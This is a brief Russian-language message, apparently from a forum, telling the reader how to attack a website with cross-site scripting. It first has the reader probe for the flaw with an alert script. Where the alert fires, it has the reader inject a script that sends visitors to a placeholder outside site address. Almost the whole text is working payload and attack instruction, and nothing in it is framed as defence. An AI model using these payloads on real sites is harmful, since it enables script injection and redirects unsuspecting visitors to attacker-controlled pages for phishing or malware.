только для начала проверь есть ли xss вставь этот скрипт

<script>alert("XSS")</script> и уж если есть алерт то используй тот который ниже


<script>location.href='http://адрессайта'</script>